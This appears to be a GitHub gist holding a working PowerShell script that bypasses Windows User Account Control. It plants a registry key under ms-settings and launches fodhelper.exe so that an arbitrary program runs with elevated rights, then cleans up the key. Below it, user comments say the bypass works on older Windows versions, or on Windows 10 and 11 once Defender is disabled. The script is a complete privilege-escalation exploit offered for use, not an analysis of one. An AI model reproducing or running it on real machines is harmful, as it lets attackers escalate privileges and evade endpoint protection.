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Bypass UAC via Fodhelper binary in Windows 10 systems
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| <# | |
| .SYNOPSIS | |
| This script can bypass User Access Control (UAC) via fodhelper.exe | |
| It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts | |
| an elevated command prompt. | |
| .NOTES | |
| Function : FodhelperUACBypass | |
| File Name : FodhelperUACBypass.ps1 | |
| Author : netbiosX. - pentestlab.blog | |
| .LINKS | |
| https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692 | |
| https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/ | |
| .EXAMPLE | |
| Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default): | |
| FodhelperUACBypass | |
| Load specific application: | |
| FodhelperUACBypass -program "cmd.exe" | |
| FodhelperUACBypass -program "cmd.exe /c powershell.exe" | |
| #> | |
| function FodhelperUACBypass(){ | |
| Param ( | |
| [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default | |
| ) | |
| #Create Registry Structure | |
| New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | |
| New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | |
| Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force | |
| #Start fodhelper.exe | |
| Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | |
| #Cleanup | |
| Start-Sleep 3 | |
| Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force | |
| } |
I guess this could work cuz Windows Defender closed my console.
yeah it does work on modern systems like windows 10 and 11 if you disable defender but on older systems like windows 8, 7, and vista it works well.
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I guess this could work cuz Windows Defender closed my console.